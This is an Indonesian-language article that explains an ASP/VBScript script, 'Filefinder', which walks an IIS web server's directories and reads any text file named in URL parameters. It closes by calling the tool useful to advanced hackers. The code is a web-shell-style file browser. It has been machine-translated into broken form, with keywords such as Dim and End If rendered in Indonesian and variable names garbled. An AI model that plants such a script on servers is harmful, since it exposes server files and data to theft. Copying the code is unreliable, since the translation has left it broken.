Objek Scripting.FilesystemObject adalah salah satu dari banyak objek COM yang disediakan oleh Scrrun.dll untuk kontrol vbscript/jscript. Scripting.FilesyStemObject menyediakan akses yang sangat nyaman ke file teks dan direktori file, tetapi juga menimbulkan ancaman tertentu terhadap keamanan data server web IIS.
Kode Filefinder sangat sederhana, terdiri dari 3 fungsi dan 30 baris kode berurutan.
Yang paling penting adalah fungsi FindFiles, yang mengimplementasikan traversal dari direktori tertentu dengan menyebutnya secara rekursif dan mencari file -file ini sesuai dengan ekstensi file tertentu.
Fungsi FindFiles (StrstartFolder, Strext)
redup n
redup ohisfolder
redup
Dimede
redup
Dimede
'Jika administrator sistem dengan hati -hati menetapkan izin sistem file, kode berikut akan membuat kesalahan
'Tetapi beberapa direktori masih dapat dilihat, jadi kami mengabaikan kesalahannya
pada kesalahan resume berikutnya
n = 0
Response.write <b> Pencarian & Strstartfolder & </b> <br>
set thatisFolder = g_fs.getfolder (strstartartFolder)
Set Otiles = Allisfolder.Files
Untuk masing -masing ile di Oftiles
'Jika itu adalah ekstensi file yang ditentukan, output panduan koneksi itu sendiri, tetapi gunakan perintah CMD yang berbeda
'Ini cmd = baca, yaitu, baca file teks dengan jalur fisik yang ditentukan
Jika Issuffix (Ofile.Path, Strext) lalu
response.write <a target = _blank href = 'ff.asp? cmd = baca & path = & server.htmlencode (Ofile.path) &'> <font color = 'dodgerBlue'> & ofile.path & </font> </a> <br>
Jika err = 0 lalu
n = n + 1
akhiri jika
akhiri jika
Berikutnya
set Ofolders = Exterthisfolder.subfolders
untuk masing -masing yang lebih tua
n = n + findFiles (Ofolder.path, strext)
Berikutnya
findFiles = n
fungsi akhir
Kode berikut menganalisis parameter setelah URL:
'Bacalah nilai masing -masing parameter
strcmd = ucase (request.querystring (cmd))
strpath = request.queryString (jalur)
strext = request.queryString (ext)
brawdata = ucase (request.querystring (mentah))
'Pencarian Default untuk FileP
Jika strpath = lalu
strpath =.
akhiri jika
Jika strext = lalu
strext = .asp
akhiri jika
'Jalankan kode yang berbeda sesuai dengan perintah CMD yang berbeda
Pilih case strcmd
temukan kasus
response.write findFiles (strpath, strext) & file ditemukan
kasus baca
Jika brawdata = t maka
Response.Write ReadTextFile (Strpath)
kalau tidak
response.write <pr Pre> & server.htmlencode (readTextFile (strpath)) & </pr Pre>
akhiri jika
kasus lain
response.write <h3> Harap tentukan perintah untuk mengeksekusi </h3>
Akhiri Pilih
Dari analisis di atas, kita dapat melihat bahwa jika kita memiliki izin yang cukup, kita dapat menggunakan Filefinder untuk menemukan file teks apa pun di server web IIS, dan kita dapat dengan mudah melihat konten file. Untuk file non-teks, dimungkinkan untuk menentukan apakah ada dan di mana mereka berada, yang terkadang sangat penting bagi peretas tingkat lanjut.